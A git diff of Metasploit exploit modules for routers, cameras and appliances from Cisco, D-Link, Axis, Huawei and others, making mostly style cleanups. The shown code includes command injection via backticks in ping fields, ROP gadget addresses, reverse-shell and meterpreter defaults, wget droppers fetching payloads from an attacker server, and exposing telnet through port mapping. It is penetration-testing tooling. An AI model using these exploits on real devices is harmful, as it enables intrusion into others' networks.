diff --git a/modules/exploits/linux/http/aitemi_m300_time_rce.rb b/modules/exploits/linux/http/aitemi_m300_time_rce.rb index fbff4cdac8..f3a368eb21 100644 --- a/modules/exploits/linux/http/aitemi_m300_time_rce.rb +++ b/modules/exploits/linux/http/aitemi_m300_time_rce.rb @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote ['URL', 'https://chocapikk.com/posts/2025/when-a-wifi-name-gives-you-root-part-two/'], ['CVE', '2025-34152'] ], - 'Platform' => %w(linux unix), + 'Platform' => %w[linux unix], 'Payload' => { 'BadChars' => "\x60" }, diff --git a/modules/exploits/linux/http/axis_srv_parhand_rce.rb b/modules/exploits/linux/http/axis_srv_parhand_rce.rb index b03fd6eff7..8065f637b2 100644 --- a/modules/exploits/linux/http/axis_srv_parhand_rce.rb +++ b/modules/exploits/linux/http/axis_srv_parhand_rce.rb @@ -43,28 +43,32 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Unix In-Memory', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Type' => :unix_memory, - 'Payload' => { - 'BadChars' => ' ', - 'Encoder' => 'cmd/ifs', - 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'netcat-e' + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory, + 'Payload' => { + 'BadChars' => ' ', + 'Encoder' => 'cmd/ifs', + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'netcat-e' + } + }, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping' } - }, - 'DefaultOptions' => { - 'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping' } ], [ 'Linux Dropper', - 'Platform' => 'linux', - 'Arch' => ARCH_ARMLE, - 'Type' => :linux_dropper, - 'DefaultOptions' => { - 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp' + { + 'Platform' => 'linux', + 'Arch' => ARCH_ARMLE, + 'Type' => :linux_dropper, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp' + } } ] ], @@ -101,7 +105,7 @@ class MetasploitModule < Msf::Exploit::Remote end end - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) send_request_cgi( 'method' => 'POST', 'uri' => "/index.html/#{rand_srv}", diff --git a/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb b/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb index 914eac1167..0a1f3fd585 100644 --- a/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb +++ b/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb @@ -54,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Platform' => %w[linux], 'SessionTypes' => %w[meterpreter], - 'CmdStagerFlavor' => %w{wget}, + 'CmdStagerFlavor' => %w[wget], 'Privileged' => true, # BusyBox 'References' => [ ['CVE', '2019-1663'], @@ -67,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote 'SSL' => true, 'RPORT' => 443, 'CMDSTAGER::FLAVOR' => 'wget', - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' }, 'Targets' => [ [ @@ -82,7 +82,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x00167c8c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -98,7 +98,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x00167c4c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -114,7 +114,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -130,7 +130,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -146,7 +146,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -160,7 +160,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget2' => 0x00041308, # mov r0, sp; blx r2; 'Arch' => ARCH_ARMLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp' } }, ], @@ -176,7 +176,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -192,7 +192,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -208,7 +208,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -224,7 +224,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -240,7 +240,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x00057bec, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -256,7 +256,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -266,7 +266,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Notes' => { 'Stability' => [ CRASH_SERVICE_DOWN, ], 'Reliability' => UNKNOWN_RELIABILITY, - 'SideEffects' => UNKNOWN_SIDE_EFFECTS, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS }, 'Compat' => { 'Meterpreter' => { @@ -315,25 +315,23 @@ class MetasploitModule < Msf::Exploit::Remote end def send_request(buffer) - begin - send_request_cgi({ - 'uri' => '/login.cgi', - 'method' => 'POST', - 'vars_post' => { - submit_button: "login", - submit_type: "", - gui_action: "", - wait_time: 0, - change_action: "", - enc: 1, - user: rand_text_alpha_lower(5), - pwd: buffer, - sel_lang: "EN" - } - }) - rescue ::Rex::ConnectionError - fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router") - end + send_request_cgi({ + 'uri' => '/login.cgi', + 'method' => 'POST', + 'vars_post' => { + submit_button: 'login', + submit_type: '', + gui_action: '', + wait_time: 0, + change_action: '', + enc: 1, + user: rand_text_alpha_lower(5), + pwd: buffer, + sel_lang: 'EN' + } + }) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router") end def check @@ -343,57 +341,57 @@ class MetasploitModule < Msf::Exploit::Remote # (see RV110 branch 1.2.1.x/1.2.2.x, RV130 > 1.0.3.22, RV215 1.2.0.x/1.3.x) fingerprints = { - "69d906ddd59eb6755a7b9c4f46ea11cdaa47c706" => { - "version" => "Cisco RV110W 1.1.0.9", - "status" => Exploit::CheckCode::Vulnerable + '69d906ddd59eb6755a7b9c4f46ea11cdaa47c706' => { + 'version' => 'Cisco RV110W 1.1.0.9', + 'status' => Exploit::CheckCode::Vulnerable }, - "8d3b677d870425198f7fae94d6cfe262551aa8bd" => { - "version" => "Cisco RV110W 1.2.0.9", - "status" => Exploit::CheckCode::Vulnerable + '8d3b677d870425198f7fae94d6cfe262551aa8bd' => { + 'version' => 'Cisco RV110W 1.2.0.9', + 'status' => Exploit::CheckCode::Vulnerable }, - "134ee643ec877641030211193a43cc5e93c96a06" => { - "version" => "Cisco RV110W 1.2.0.10", - "status" => Exploit::CheckCode::Vulnerable + '134ee643ec877641030211193a43cc5e93c96a06' => { + 'version' => 'Cisco RV110W 1.2.0.10', + 'status' => Exploit::CheckCode::Vulnerable }, - "e3b2ec9d099a3e3468f8437e5247723643ff830e" => { - "version" => "Cisco RV110W 1.2.1.4, 1.2.1.7, 1.2.2.1 (not vulnerable), 1.2.2.4 (not vulnerable)", - "status" => Exploit::CheckCode::Unknown + 'e3b2ec9d099a3e3468f8437e5247723643ff830e' => { + 'version' => 'Cisco RV110W 1.2.1.4, 1.2.1.7, 1.2.2.1 (not vulnerable), 1.2.2.4 (not vulnerable)', + 'status' => Exploit::CheckCode::Unknown }, - "6b7b1e8097e8dda26db27a09b8176b9c32b349b3" => { - "version" => "Cisco RV130/RV130W 1.0.0.21", - "status" => Exploit::CheckCode::Vulnerable + '6b7b1e8097e8dda26db27a09b8176b9c32b349b3' => { + 'version' => 'Cisco RV130/RV130W 1.0.0.21', + 'status' => Exploit::CheckCode::Vulnerable }, - "9b1a87b752d11c5ba97dd80d6bae415532615266" => { - "version" => "Cisco RV130/RV130W 1.0.1.3", - "status" => Exploit::CheckCode::Vulnerable + '9b1a87b752d11c5ba97dd80d6bae415532615266' => { + 'version' => 'Cisco RV130/RV130W 1.0.1.3', + 'status' => Exploit::CheckCode::Vulnerable }, - "9b6399842ef69cf94409b65c4c61017c862b9d09" => { - "version" => "Cisco RV130/RV130W 1.0.2.7", - "status" => Exploit::CheckCode::Vulnerable + '9b6399842ef69cf94409b65c4c61017c862b9d09' => { + 'version' => 'Cisco RV130/RV130W 1.0.2.7', + 'status' => Exploit::CheckCode::Vulnerable }, - "8680ec6df4f8937acd3505a4dd36d40cb02c2bd6" => { - "version" => "Cisco RV130/RV130W 1.0.3.14, 1.0.3.16", - "status" => Exploit::CheckCode::Vulnerable + '8680ec6df4f8937acd3505a4dd36d40cb02c2bd6' => { + 'version' => 'Cisco RV130/RV130W 1.0.3.14, 1.0.3.16', + 'status' => Exploit::CheckCode::Vulnerable }, - "8c8e05de96810a02344d96588c09b21c491ede2d" => { - "version" => "Cisco RV130/RV130W 1.0.3.22, 1.0.3.28, 1.0.3.44, 1.0.3.45 (not vulnerable), 1.0.3.51 (not vulnerable)", - "status" => Exploit::CheckCode::Unknown + '8c8e05de96810a02344d96588c09b21c491ede2d' => { + 'version' => 'Cisco RV130/RV130W 1.0.3.22, 1.0.3.28, 1.0.3.44, 1.0.3.45 (not vulnerable), 1.0.3.51 (not vulnerable)', + 'status' => Exploit::CheckCode::Unknown }, - "2f29a0dfa78063d643eb17388e27d3f804ff6765" => { - "version" => "Cisco RV215W 1.1.0.5", - "status" => Exploit::CheckCode::Vulnerable + '2f29a0dfa78063d643eb17388e27d3f804ff6765' => { + 'version' => 'Cisco RV215W 1.1.0.5', + 'status' => Exploit::CheckCode::Vulnerable }, - "e5cc84d7c9c2d840af85d5f25cee33baffe3ca6f" => { - "version" => "Cisco RV215W 1.1.0.6", - "status" => Exploit::CheckCode::Vulnerable + 'e5cc84d7c9c2d840af85d5f25cee33baffe3ca6f' => { + 'version' => 'Cisco RV215W 1.1.0.6', + 'status' => Exploit::CheckCode::Vulnerable }, - "7cc8fcce5949a68c31641c38255e7f6ed31ff4db" => { - "version" => "Cisco RV215W 1.2.0.14 or 1.2.0.15", - "status" => Exploit::CheckCode::Vulnerable + '7cc8fcce5949a68c31641c38255e7f6ed31ff4db' => { + 'version' => 'Cisco RV215W 1.2.0.14 or 1.2.0.15', + 'status' => Exploit::CheckCode::Vulnerable }, - "050d47ea944eaeadaec08945741e8e380f796741" => { - "version" => "Cisco RV215W 1.3.0.7 or 1.3.0.8, 1.3.1.1 (not vulnerable), 1.3.1.4 (not vulnerable)", - "status" => Exploit::CheckCode::Unknown + '050d47ea944eaeadaec08945741e8e380f796741' => { + 'version' => 'Cisco RV215W 1.3.0.7 or 1.3.0.8, 1.3.1.1 (not vulnerable), 1.3.1.4 (not vulnerable)', + 'status' => Exploit::CheckCode::Unknown } } @@ -403,10 +401,10 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(uri, 'lang_pack/EN.js') }) if res && res.code == 200 - fingerprint = Digest::SHA1.hexdigest("#{res.body.to_s}") + fingerprint = Digest::SHA1.hexdigest("#{res.body}") if fingerprints.key?(fingerprint) - print_good("Successfully identified device: #{fingerprints[fingerprint]["version"]}") - return fingerprints[fingerprint]["status"] + print_good("Successfully identified device: #{fingerprints[fingerprint]['version']}") + return fingerprints[fingerprint]['status'] else print_status("Couldn't reliably fingerprint the target.") end @@ -419,7 +417,7 @@ class MetasploitModule < Msf::Exploit::Remote execute_cmdstager end - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) shellcode = prepare_shellcode(cmd.to_s) send_request(shellcode) end @@ -428,8 +426,8 @@ class MetasploitModule < Msf::Exploit::Remote # Given there is no process continuation here, the httpd server will stop # functioning properly and we need to take care of proper restart # ourselves. - print_status("Reloading httpd service") - reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S" + print_status('Reloading httpd service') + reload_httpd_service = 'killall httpd && cd /www && httpd && httpd -S' if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\"" diff --git a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb index 5bef0c1bc2..1e222150cd 100644 --- a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb @@ -82,28 +82,26 @@ class MetasploitModule < Msf::Exploit::Remote end def request(cmd, uri) - begin - res = send_request_cgi({ - 'uri' => uri, - 'method' => 'POST', - 'vars_post' => { - "act" => "ping", - "dst" => "` #{cmd}`" - } - }) - return res - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return nil - end + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + 'vars_post' => { + 'act' => 'ping', + 'dst' => "` #{cmd}`" + } + }) + return res + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return nil end def exploit - downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8)) + downfile = datastore['DOWNFILE'] || rand_text_alpha(rand(8..15)) uri = '/diagnostic.php' if target.name =~ /CMD/ - if not (datastore['CMD']) + if !(datastore['CMD']) fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded @@ -130,7 +128,7 @@ class MetasploitModule < Msf::Exploit::Remote # we use SRVHOST as download IP for the coming wget command. # SRVHOST needs a real IP address of our download host - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] @@ -141,9 +139,9 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { - 'Proc' => Proc.new { |cli, req| + 'Proc' => proc do |cli, req| on_request_uri(cli, req) - }, + end, 'Path' => resource_uri }, 'ssl' => false # do not use SSL @@ -196,9 +194,9 @@ class MetasploitModule < Msf::Exploit::Remote end # Handle incoming requests from the server - def on_request_uri(cli, request) + def on_request_uri(cli, _request) # print_status("on_request_uri called: #{request.inspect}") - if (not @pl) + if (!@pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end @@ -212,7 +210,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...") waited = 0 - while (not @elf_sent) + until (@elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) diff --git a/modules/exploits/linux/http/dlink_dir615_up_exec.rb b/modules/exploits/linux/http/dlink_dir615_up_exec.rb index 48ba693518..7afd0a0acd 100644 --- a/modules/exploits/linux/http/dlink_dir615_up_exec.rb +++ b/modules/exploits/linux/http/dlink_dir615_up_exec.rb @@ -80,26 +80,24 @@ class MetasploitModule < Msf::Exploit::Remote end def request(cmd) - begin - res = send_request_cgi({ - 'uri' => @uri, - 'method' => 'GET', - 'vars_get' => { - "page" => "tools_vct", - "hping" => "0", - "ping_ipaddr" => "1.1.1.1`#{cmd}`", - "ping6_ipaddr" => "" - } - }) - return res - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return nil - end + res = send_request_cgi({ + 'uri' => @uri, + 'method' => 'GET', + 'vars_get' => { + 'page' => 'tools_vct', + 'hping' => '0', + 'ping_ipaddr' => "1.1.1.1`#{cmd}`", + 'ping6_ipaddr' => '' + } + }) + return res + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return nil end def exploit - downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8)) + downfile = datastore['DOWNFILE'] || rand_text_alpha(rand(8..15)) @uri = '/tools_vct.htm' user = datastore['USERNAME'] pass = datastore['PASSWORD'] @@ -114,19 +112,19 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => '/login.htm', 'method' => 'POST', 'vars_post' => { - "page" => "login", - "submitType" => "0", - "identifier" => "", - "sel_userid" => user, - "userid" => "", - "passwd" => pass, - "captchapwd" => "" + 'page' => 'login', + 'submitType' => '0', + 'identifier' => '', + 'sel_userid' => user, + 'userid' => '', + 'passwd' => pass, + 'captchapwd' => '' } }) if res.nil? or res.code == 404 fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end - if res.body =~ /\} print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") else fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") @@ -136,7 +134,7 @@ class MetasploitModule < Msf::Exploit::Remote end if target.name =~ /CMD/ - if not (datastore['CMD']) + if !(datastore['CMD']) fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded @@ -162,7 +160,7 @@ class MetasploitModule < Msf::Exploit::Remote service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] @@ -172,9 +170,9 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { - 'Proc' => Proc.new { |cli, req| + 'Proc' => proc do |cli, req| on_request_uri(cli, req) - }, + end, 'Path' => resource_uri }, 'ssl' => false # do not use SSL @@ -232,9 +230,9 @@ class MetasploitModule < Msf::Exploit::Remote end # Handle incoming requests from the server - def on_request_uri(cli, request) + def on_request_uri(cli, _request) # print_status("on_request_uri called: #{request.inspect}") - if (not @pl) + if (!@pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end @@ -248,7 +246,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 - while (not @elf_sent) + until (@elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) diff --git a/modules/exploits/linux/http/efw_chpasswd_exec.rb b/modules/exploits/linux/http/efw_chpasswd_exec.rb index a9868adc12..f4c56e7d1a 100644 --- a/modules/exploits/linux/http/efw_chpasswd_exec.rb +++ b/modules/exploits/linux/http/efw_chpasswd_exec.rb @@ -69,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'Platform' => 'linux', 'Arch' => ARCH_X86, - 'CmdStagerFlavor' => [ :echo, :printf ] + 'CmdStagerFlavor' => %i[echo printf] } ], [ @@ -77,7 +77,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'Platform' => 'linux', 'Arch' => ARCH_X64, - 'CmdStagerFlavor' => [ :echo, :printf ] + 'CmdStagerFlavor' => %i[echo printf] } ] ], @@ -123,10 +123,10 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - execute_cmdstager(:linemax => 200, :nodelete => true) + execute_cmdstager(linemax: 200, nodelete: true) end - def execute_command(cmd, opts) + def execute_command(cmd, _opts) cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod") req(cmd) @@ -166,13 +166,13 @@ class MetasploitModule < Msf::Exploit::Remote if res.code == 401 fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Received a 401 HTTP response - " + - "specify web admin credentials using the USERNAME " + - "and PASSWORD advanced options to target this host.") + 'specify web admin credentials using the USERNAME ' + + 'and PASSWORD advanced options to target this host.') end if res.code == 404 fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Received a 404 HTTP response - " + - "your TARGETURI value is most likely not correct") + 'your TARGETURI value is most likely not correct') end end end diff --git a/modules/exploits/linux/http/froxlor_log_path_rce.rb b/modules/exploits/linux/http/froxlor_log_path_rce.rb index 419205c46c..4467424e73 100644 --- a/modules/exploits/linux/http/froxlor_log_path_rce.rb +++ b/modules/exploits/linux/http/froxlor_log_path_rce.rb @@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Privileged' => false, 'Targets' => [ [ - 'Linux ', + 'Linux', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], diff --git a/modules/exploits/linux/http/hp_van_sdn_cmd_inject.rb b/modules/exploits/linux/http/hp_van_sdn_cmd_inject.rb index 4a60463ebe..55fcf580f0 100644 --- a/modules/exploits/linux/http/hp_van_sdn_cmd_inject.rb +++ b/modules/exploits/linux/http/hp_van_sdn_cmd_inject.rb @@ -44,18 +44,22 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Unix In-Memory', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Type' => :unix_memory, - 'Payload' => { 'BadChars' => ' ' }, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping' } + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory, + 'Payload' => { 'BadChars' => ' ' }, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping' } + } ], [ 'Linux Dropper', - 'Platform' => 'linux', - 'Arch' => [ARCH_X86, ARCH_X64], - 'Type' => :linux_dropper, - 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :linux_dropper, + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } + } ] ], 'DefaultTarget' => 0, @@ -133,9 +137,11 @@ class MetasploitModule < Msf::Exploit::Remote end def upload_payload - payload_name = datastore['PayloadName'] ? - "#{datastore['PayloadName']}.deb" : - "#{Rex::Text.rand_text_alphanumeric(8..42)}.deb" + payload_name = if datastore['PayloadName'] + "#{datastore['PayloadName']}.deb" + else + "#{Rex::Text.rand_text_alphanumeric(8..42)}.deb" + end payload_path = "/var/lib/sdn/uploads/#{payload_name}" res = send_request_cgi( diff --git a/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb b/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb index 193fde5831..aeffec0faf 100644 --- a/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb +++ b/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb @@ -67,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TelnetPassword', [false, 'Telnet username password', 'admin']), OptAddress.new('DOWNHOST', [false, 'Alternative host to request the MIPS payload from']), OptString.new('DOWNFILE', [false, 'Filename to download, (default: random)']), - OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit to connect back", 60]) + OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit to connect back', 60]) ], self.class ) end @@ -83,18 +83,18 @@ class MetasploitModule < Msf::Exploit::Remote def check httpd_fingerprint = %r{ \A - HTTP\/1\.1\s200\sOK\r\n + HTTP/1\.1\s200\sOK\r\n CACHE-CONTROL:\sno-cache\r\n Date:\s.*\r\n Connection:\sKeep-Alive\r\n - Content-Type:\stext\/html\r\n + Content-Type:\stext/html\r\n Content-Length:\s\d+\r\n \r\n \n
\n - \r\n + \r\n \n \n - + }x begin @@ -123,7 +123,7 @@ class MetasploitModule < Msf::Exploit::Remote # def hash_password(password) sha256 = OpenSSL::Digest::SHA256.hexdigest(password) - Base64.encode64(sha256).gsub(/\s+/, "") + Base64.encode64(sha256).gsub(/\s+/, '') end # @@ -171,7 +171,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Password' => hash_password(password) } ) - fail_with(Failure::Unreachable, "Connection timed out") if res.nil? + fail_with(Failure::Unreachable, 'Connection timed out') if res.nil? unless res.code == 200 fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}") @@ -182,7 +182,7 @@ class MetasploitModule < Msf::Exploit::Remote if res.body.include? invalid_login_marker fail_with(Failure::NoAccess, "Invalid web interface credentials #{username}:#{password}") else - fail_with(Failure::UnexpectedReply, "Neither valid or invalid login markers received") + fail_with(Failure::UnexpectedReply, 'Neither valid or invalid login markers received') end end @@ -193,7 +193,7 @@ class MetasploitModule < Msf::Exploit::Remote def expose_telnet_port(session_cookies) cookie = generate_web_cookie(session: session_cookies) - external_telnet_port = rand(32767) + 32768 + external_telnet_port = rand(32768..65534) portmapping_page = '/html/application/portmapping.asp' valid_port_export_marker = "var pageName = '#{portmapping_page}';" @@ -209,17 +209,17 @@ class MetasploitModule < Msf::Exploit::Remote 'RequestFile' => portmapping_page }, 'vars_post' => { - 'x.PortMappingProtocol' => "TCP", - 'x.PortMappingEnabled' => "1", - 'x.RemoteHost' => "", + 'x.PortMappingProtocol' => 'TCP', + 'x.PortMappingEnabled' => '1', + 'x.RemoteHost' => '', 'x.ExternalPort' => external_telnet_port.to_s, 'x.ExternalPortEndRange' => external_telnet_port.to_s, - 'x.InternalClient' => "192.168.1.1", - 'x.InternalPort' => "23", + 'x.InternalClient' => '192.168.1.1', + 'x.InternalPort' => '23', 'x.PortMappingDescription' => Rex::Text.rand_text_alpha(10) # Minimize any possible conflict } ) - fail_with(Failure::Unreachable, "Connection timed out") if res.nil? + fail_with(Failure::Unreachable, 'Connection timed out') if res.nil? unless res.code == 200 fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}") @@ -231,11 +231,11 @@ class MetasploitModule < Msf::Exploit::Remote end if res.body.match? invalid_port_export_marker - fail_with(Failure::Unknown, "Router reported port-mapping error. " \ + fail_with(Failure::Unknown, 'Router reported port-mapping error. ' \ "A port-forwarding entry with same external port (#{external_telnet_port}) already exist?") end - fail_with(Failure::UnexpectedReply, "Port-forwarding failed: neither valid or invalid markers received") + fail_with(Failure::UnexpectedReply, 'Port-forwarding failed: neither valid or invalid markers received') end # @@ -253,14 +253,14 @@ class MetasploitModule < Msf::Exploit::Remote ) unless res && res.code == 200 - print_warning "Could not get current forwarded ports from web interface" + print_warning 'Could not get current forwarded ports from web interface' end # Collect existing port-forwarding keys; to be passed to the delete POST request portforward_key = 